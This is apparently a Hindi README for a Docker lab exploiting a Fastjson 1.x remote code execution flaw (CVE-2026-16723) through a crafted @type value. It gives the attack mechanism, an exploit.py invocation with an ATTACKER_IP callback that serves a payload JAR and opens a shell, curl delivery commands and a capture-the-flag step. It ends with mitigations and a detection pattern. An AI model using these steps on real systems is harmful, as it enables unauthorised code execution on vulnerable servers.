
Fastjson RCE (CVE-2026-16723) के लिए PoC एक्सप्लॉइट, जिसमें स्वचालित JAR पेलोड निर्माण और तैयार किए गए JSON के माध्यम से डिलीवरी शामिल है, जो AutoType प्रतिबंधों को बायपास करता है।
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 Fastjson 1.x (1.2.68 – 1.2.83) में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। जब Fastjson हमलावर-नियंत्रित JSON पार्स करता है, तो एक क्राफ्टेड
@typeमानcheckAutoTypeके अंदर क्लास-संसाधन लुकअप में बदल जाता है। Spring Boot एक्ज़ीक्यूटेबल fat-JAR में क्लास लोडर उस नाम कोjar:http://URL के रूप में हल करता है और एक दूरस्थ JAR (SSRF) लाता है, फिर@JSONTypeएनोटेशन वाली क्लास लोड करता है, भले ही AutoType अक्षम हो। चूँकि आधुनिक JDK / Tomcatjar:http://बाइनरी नाम को अस्वीकार कर देता है, विश्वसनीय वैरिएंट JAR को JVM कैश में सीड करता है और उसेjar:file:/proc/self/fd/Nके माध्यम से फिर से पढ़ता है, जिससे क्लास परिभाषित होती है और उसका स्टैटिक इनिशियलाइज़र चलता है, जिससे कोड एक्ज़ीक्यूशन होता है। AutoType अक्षम रहता है और किसी classpath गैजेट की आवश्यकता नहीं होती।
| श्रेणी | संस्करण |
|---|---|
| संवेदनशील | Fastjson 1.2.68 ≤ संस्करण ≤ 1.2.83 |
| पैच किया गया | Fastjson 2.x पर माइग्रेट करें (कोई फिक्स्ड 1.x रिलीज़ नहीं) |
लैब टारगेट एक सार्वजनिक स्टोरफ्रंट (Northwind Store) है जिसका सर्च API अपने रिक्वेस्ट बॉडी को Fastjson के साथ बाइंड करता है। सब कुछ Fastjson का स्टॉक डिफ़ॉल्ट है: SafeMode बंद, AutoType बंद, Spring Boot fat-JAR के रूप में पैकेज्ड।
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| पूर्वशर्त | इस लैब में स्थिति |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot एक्ज़ीक्यूटेबल fat-JAR | हाँ |
| बिना प्रमाणीकरण JSON पार्स पथ | POST /api/products/search |
| SafeMode / AutoType | डिफ़ॉल्ट (दोनों बंद) |
हमलावर और टारगेट एक ही Docker bridge नेटवर्क पर चलते हैं, इसलिए टारगेट हमलावर तक आउटबाउंड कनेक्शन के रूप में पहुँचता है (कोई अतिरिक्त पोर्ट प्रकाशित नहीं होता)।
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py पेलोड JAR बनाता है, उसे सर्व करता है, एक लिसनर शुरू करता है, और रिक्वेस्ट बॉडी प्रिंट करता है। केवल कॉलबैक पता आवश्यक है।
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
प्रिंट की गई बॉडी को सर्च एंडपॉइंट (Burp Repeater या curl) में पेस्ट करें और भेजें। सर्च रिक्वेस्ट एक सामान्य सुविधा है; केवल इसका JSON बॉडी क्राफ्ट किया गया है।
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
कोड सेवा खाते के रूप में चलता है। प्राप्त शेल के माध्यम से फ्लैग प्राप्त करें:
whoami
com.alibaba:fastjson:1.2.83_noneautotype चलाएँ-Dfastjson.parser.safeMode=true के साथ शुरू करें@type मान जिनमें jar:http या jar:file / /proc/self/fd पैटर्न हों